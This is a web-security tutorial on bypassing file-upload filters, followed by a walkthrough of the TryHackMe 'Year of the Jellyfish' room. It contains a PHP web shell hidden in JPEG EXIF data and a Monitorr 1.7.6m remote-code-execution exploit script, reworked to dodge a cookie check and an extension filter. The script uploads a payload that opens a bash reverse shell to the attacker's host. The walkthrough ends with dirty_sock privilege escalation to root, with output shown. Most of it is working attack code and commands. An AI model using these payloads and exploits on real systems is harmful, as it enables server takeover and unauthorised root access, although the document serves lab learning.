Bypassing Upload Filters

One of the challenging factors to a Hacker in a web application attack is the file upload. The first step in every attack is to get some code and inject it to the system to be attacked. The attack needs to find an uncomplicated and flawless path to get the code executed. Using a file upload attacker achieves his first step.

img

Examples

Attacks on application platforms

  • Upload .jsp file into web tree - jsp code executed as the web user
  • Upload .gif file to be resized - image library flaw exploited
  • Upload huge files - file space denial of service
  • Upload file using malicious path or name - overwrite a critical file
  • Upload file containing personal data - other users access it
  • Upload file containing “tags” - tags get executed as part of being “included” in a web page
  • Upload .rar file to be scanned by antivirus - command executed on a server running the vulnerable antivirus software

Attacks on other systems

  • Upload .exe file into web tree - victims download trojaned executable
  • Upload virus infected file - victims machines infected
  • Upload .html file containing script - victim experiences Cross-site Scripting (XSS)
  • Upload .jpg file containing a Flash object - victim experiences Cross-site Content Hijacking.
  • Upload .rar file to be scanned by antivirus - command executed on a client running the vulnerable antivirus software

Bypassing Blacklists

Blacklisting is a type of protection where specific extensions, are prohibited from being sent to the server. Blacklisting might be an effective solution yet this can be bypassed.

In addition to regular extensions, there are many alternative extensions that can bypass blacklist filters.

.pht, .phtml, .php3, .php4, .php5, .php6, .inc, .jspx, .jspf, .jsw, .jsv, .pHp, .Php, .phP

Bypassing Whitelists

Whitelisting is opposite of the blacklisting, here the server accepts only specific extension. For example a web application that allows you to upload a profile picture might only take .JPEG, .JPG or .PNG but it can still be bypassed.

shell.php.jpg, shell.php%00.jpg, shell.php\x00.jpg

Exif data

EXIF is short for Exchangeable Image File, a format that is a standard for storing interchange information in digital photography image files using JPEG compression. Almost all new digital cameras use the EXIF annotation, storing information on the image such as shutter speed, exposure compensation, F number, what metering system was used, if a flash was used, ISO number, date and time the image was taken, whitebalance, auxiliary lenses that were used and resolution. Some images may even store GPS information so you can easily see where the images were taken!

We can bypass file upload restrictions utilizes Exif data in an image. We can insert a comment that contains valid PHP code that will be executed by the server when the image is processed.

We can use ExifTool to do this if it is not installed, install it with the package manager.

root@kali:~# apt install exiftool

Exapmle

root@kali:~/Desktop/tryhackme/advent# exiftool -Comment="<?php system($_GET['cmd']); ?>" TryHackMe.jpg
    1 image files updated
    
root@kali:~/Desktop/tryhackme/advent# file TryHackMe.jpg
TryHackMe.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 320x320, components 3

root@kali:~/Desktop/tryhackme/advent# mv TryHackMe.jpg TryHackMe.php.jpg

root@kali:~/Desktop/tryhackme/advent# file TryHackMe.php.jpg 
TryHackMe.php.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 320x320, components 3

Resources🤓 🤑

Get hands on experience with TryHackMe

link to the room 👾

Year of the Jellyfish : A Walkthrough

The detailed write-up of the TryHackMe room Year of the Jellyfish

Basic Nmap scan

root@kali:~/Desktop/tryhackme/YOJ# nmap -v -sC -sV 54.216.18.239
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-21 11:38 IST
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:38
Completed NSE at 11:38, 0.00s elapsed
Initiating NSE at 11:38
Completed NSE at 11:38, 0.00s elapsed
Initiating NSE at 11:38
Completed NSE at 11:38, 0.00s elapsed
Initiating Ping Scan at 11:38
Scanning 54.216.18.239 [4 ports]
Completed Ping Scan at 11:38, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:38
Completed Parallel DNS resolution of 1 host. at 11:38, 0.09s elapsed
Initiating SYN Stealth Scan at 11:38
Scanning ec2-54-216-18-239.eu-west-1.compute.amazonaws.com (54.216.18.239) [1000 ports]
Discovered open port 443/tcp on 54.216.18.239
Discovered open port 22/tcp on 54.216.18.239
Discovered open port 21/tcp on 54.216.18.239
Discovered open port 80/tcp on 54.216.18.239
Completed SYN Stealth Scan at 11:39, 23.42s elapsed (1000 total ports)
Initiating Service scan at 11:39
Scanning 4 services on ec2-54-216-18-239.eu-west-1.compute.amazonaws.com (54.216.18.239)
Completed Service scan at 11:39, 17.15s elapsed (4 services on 1 host)
NSE: Script scanning 54.216.18.239.
Initiating NSE at 11:39
Completed NSE at 11:39, 13.95s elapsed
Initiating NSE at 11:39
Completed NSE at 11:39, 7.51s elapsed
Initiating NSE at 11:39
Completed NSE at 11:39, 0.01s elapsed
Nmap scan report for ec2-54-216-18-239.eu-west-1.compute.amazonaws.com (54.216.18.239)
Host is up (0.021s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.3
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  2048 46:b2:81:be:e0:bc:a7:86:39:39:82:5b:bf:e5:65:58 (RSA)
80/tcp  open  http     Apache httpd 2.4.29
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to https://robyns-petshop.thm/
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
| Issuer: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-21T06:07:38
| Not valid after:  2022-05-21T06:07:38
| MD5:   e8e5 3398 f020 aae3 d1fc 0cee 1bd9 cbfb
|_SHA-1: 8360 f5ab 88c3 16c9 8b95 be37 8577 b874 067c a217
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host: robyns-petshop.thm; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
Initiating NSE at 11:39
Completed NSE at 11:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.04 seconds
           Raw packets sent: 3012 (132.448KB) | Rcvd: 21 (864B)

When I tried to open 54.216.18.239 on port 80 it just automatically redirected to https://robyns-petshop.thm/ but got Network error. From the above Nmap scan we can view the alternative names | Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm, so I modified my hosts file.

DNS:robyns-petshop.thm
DNS Name: monitorr.robyns-petshop.thm
DNS Name: beta.robyns-petshop.thm
DNS Name: dev.robyns-petshop.thm
root@kali:~# nano /etc/hosts
127.0.0.1       localhost
10.0.2.5        kali
54.216.18.239   robyns-petshop.thm monitorr.robyns-petshop.thm beta.robyns-petshop.thm dev.robyns-petshop.thm                                                           
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.148.116 spookysec.local

Hurray! we are in

img

It’s a normal webpage and doesn’t consist of any dynamic content, so I opened monitorr.robyns-petshop.thm.

You can check more about Monitorr Here

After spending some time on it I found Monitorr 1.7.6m is vulnerable for Authorization Bypass and Remote code Execution (RCE). For more info you can view this Detailed Bug Description.

When I searched Monitorr 1.7.6m on exploit-db, It showed me two exploits :

If you find any login page for the target website, go ahead and download the Authorization Bypass.

Otherwise download the Remote Code Execution (Unauthenticated).

Here is the code

#!/usr/bin/python
# -*- coding: UTF-8 -*-

# Exploit Title: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)
# Date: September 12, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
# Software Link: https://github.com/Monitorr/Monitorr
# Version: 1.7.6m
# Tested on: Ubuntu 19

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
    url = sys.argv[1] + "/assets/php/upload.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}

    data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"

    requests.post(url, headers=headers, data=data)

    print ("A shell script should be uploaded. Now we try to execute it")
    url = sys.argv[1] + "/assets/data/usrimg/she_ll.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(url, headers=headers)

From the code url = sys.argv[1] + "/assets/php/upload.php", we get the path where the image gets uploaded.

ERROR: is not an image or exceeds the webserver’s upload size limit.
ERROR: ../data/usrimg/ already exists.
ERROR: was not uploaded.

So, the path is /assets/data/usrimg

Usage

root@kali:~/Desktop/tryhackme/YOJ# python3 48980.py 
specify params in format: python 48980.py target_url lhost lport

url => https://monitorr.robyns-petshop.thm/ lhost => THM VPN IP lport => 443

root@kali:~/Desktop/tryhackme/YOJ# python3 48980.py https://monitorr.robyns-petshop.thm/ 10.6.29.240 443
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 670, in urlopen
    httplib_response = self._make_request(
  File "/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 381, in _make_request
    self._validate_conn(conn)
  File "/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 976, in _validate_conn
    conn.connect()
  File "/usr/local/lib/python3.9/site-packages/urllib3/connection.py", line 361, in connect
    self.sock = ssl_wrap_socket(
  File "/usr/local/lib/python3.9/site-packages/urllib3/util/ssl_.py", line 377, in ssl_wrap_socket
    return context.wrap_socket(sock, server_hostname=server_hostname)
  File "/usr/local/lib/python3.9/ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "/usr/local/lib/python3.9/ssl.py", line 1040, in _create
    self.do_handshake()
  File "/usr/local/lib/python3.9/ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 439, in send
    resp = conn.urlopen(
  File "/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py", line 724, in urlopen
    retries = retries.increment(
  File "/usr/local/lib/python3.9/site-packages/urllib3/util/retry.py", line 439, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='monitorr.robyns-petshop.thm', port=443): Max retries exceeded with url: //assets/php/upload.php (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)')))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/root/Desktop/tryhackme/YOJ/48980.py", line 24, in <module>
    requests.post(url, headers=headers, data=data)
  File "/usr/local/lib/python3.9/site-packages/requests/api.py", line 119, in post
    return request('post', url, data=data, json=json, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/requests/sessions.py", line 530, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/local/lib/python3.9/site-packages/requests/sessions.py", line 643, in send
    r = adapter.send(request, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 514, in send
    raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='monitorr.robyns-petshop.thm', port=443): Max retries exceeded with url: //assets/php/upload.php (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)')))

Hmm! The exploit didn’t worked.

Let’s print the response

r = requests.post(url, headers=headers, data=data)
print(r.text)

Modified exploit :

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
    url = sys.argv[1] + "/assets/php/upload.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}

    data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"

    r = requests.post(url, headers=headers, data=data, verify = False) # Modified
    print(r.text) # Printing the response 

    print ("A shell script should be uploaded. Now we try to execute it")
    url = sys.argv[1] + "/assets/data/usrimg/she_ll.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(url, headers=headers, verify = False)

Let’s run the exploit

root@kali:~/Desktop/tryhackme/YOJ# python3 48980.py https://monitorr.robyns-petshop.thm/ 10.6.29.240 443
/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py:979: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  warnings.warn(
<div id='uploadreturn'>You are an exploit.</div><div id='uploaderror'>ERROR: she_ll.php was not uploaded.</div></div>
A shell script should be uploaded. Now we try to execute it
/usr/local/lib/python3.9/site-packages/urllib3/connectionpool.py:979: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  warnings.warn(

How the hell it knows 😵?

Should be Python User-Agent or would be if the exploit wasn’t explicitly spoofing our user-agent already. Perhaps a cookie?

Check the 🍪 in DevTools

Found a cookie called isHuman and value set to 1

Modified exploit :

#!/usr/bin/python
# -*- coding: UTF-8 -*-

# Exploit Title: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)
# Date: September 12, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
# Software Link: https://github.com/Monitorr/Monitorr
# Version: 1.7.6m
# Tested on: Ubuntu 19

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
    url = sys.argv[1] + "/assets/php/upload.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}

    data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"

    cookies = {
    "isHuman" : "1",
    }

    r = requests.post(url, headers=headers, data=data,verify=False,cookies = cookies)
    

    print ("A shell script should be uploaded. Now we try to execute it")
    url = sys.argv[1] + "/assets/data/usrimg/she_ll.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(url, headers=headers, verify=False,cookies = cookies)

Well it worked !!

Filter bypass

Finally we have convinced the Web application that we are human, but it’s still not letting us to upload anything.

  • A regex to see if php appears in the filename. This thing can be bypassed by using an alternative extension such as .phtml or .phar

  • she_ll.php changed to she_ll.jpg.phtml

This is the final exploit

import requests
import os
import sys
import random
import string

if len (sys.argv) != 4:
	print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
    url = sys.argv[1] + "/assets/php/upload.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", 
    "Accept": "text/plain, */*; q=0.01", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", 
    "Origin": sys.argv[1], 
    "Connection": "close", 
    "Referer": sys.argv[1]}
    filename = "".join([random.choice(string.ascii_lowercase) for _ in range(random.randint(5,12))])

    data = f"-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{filename}.gif.phtml\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"

    cookies = {
    "isHuman" : "1"
    }

    r = requests.post(url, headers=headers, data=data, verify=False, cookies = cookies)
    print(r.text)

    print ("A shell script should be uploaded. Now we try to execute it")
    url = sys.argv[1] + f"/assets/data/usrimg/{filename}.gif.phtml"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(url, headers=headers, verify=False, cookies = cookies)

Note: Here, the exploit produces random names with an extension .phtml

Let’s exploit to get a reverse shell ..!

img

Hurray! we got the shell. All we need to do is find the flags

  1. We need to stabilize the shell
    • python3 -c "import pty; pty.spawn('/bin/bash')"
    • ctrl + z
    • stty raw -echo
    • export TERM=xterm
  2. First flag - www-data@petshop:/var/www$cat flag1.txt

Root privilege escalation

We need to run linPEAS.sh. I have already downloaded linPEAS

img

Ngrok allows you to expose a web server running on your local machine to the internet. Just tell ngrok what port your web server is listening on.

Ngrok Documentation

Download Ngrok

Updog is a replacement for Python’s SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use HTTP basic auth.

pip install updog
www-data@petshop:/dev/shm$ chmod +x linpeas.sh
www-data@petshop:/dev/shm$ ./linpeas.sh
 Starting linpeas. Caching Writable Folders...

linpeas flagged HTTP sockets Sockets

Check this for Basic Linux Privilege Escalation LPE

What applications are installed? What version are they? Are they currently running?

www-data@petshop:/dev/shm$ ls -alh /usr/bin/

After the run, I found interesting about Snapd checking this with searchsploit.

root@kali:~# searchsploit snapd 2.32.5
----------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                 |  Path
----------------------------------------------------------------------------------------------------------------
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)            | linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)            | linux/local/46362.py
----------------------------------------------------------------------------------------------------------------

Actually it’s a dirty Sock exploit. Learn more about DirtySock

Let’s Copy Dirty Sock 46362.py

root@kali:~# searchsploit -m linux/local/46362.py
  Exploit: snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)
      URL: https://www.exploit-db.com/exploits/46362
     Path: /usr/share/exploitdb/exploits/linux/local/46362.py
File Type: Python script, ASCII text executable, with very long lines, with CRLF line terminators

Copied to: /root/46362.py

Let’s run the exploit to be a Root user

img

www-data@petshop:/dev/shm$ python3 dirty.py

      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

//=========[]==========================================\\
|| R&D     || initstring (@init_string)                ||
|| Source  || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock     ||
\\=========[]==========================================//


[+] Slipped dirty sock on random socket file: /tmp/lwczffgrbu;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...



********************
Success! You can now `su` to the following account and use sudo:
   username: dirty_sock
   password: dirty_sock
********************

That’s it we got username and password

www-data@petshop:/dev/shm$ su dirty_sock
Password: dirty_sock

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

dirty_sock@petshop:/dev/shm$ sudo whoami
[sudo] password for dirty_sock: dirty_sock

root
dirty_sock@petshop:/dev/shm$ sudo bash
root@petshop:/dev/shm# 

Hurray! Now I’m the root user

Flag 2 - root@petshop:/root# cat root.txt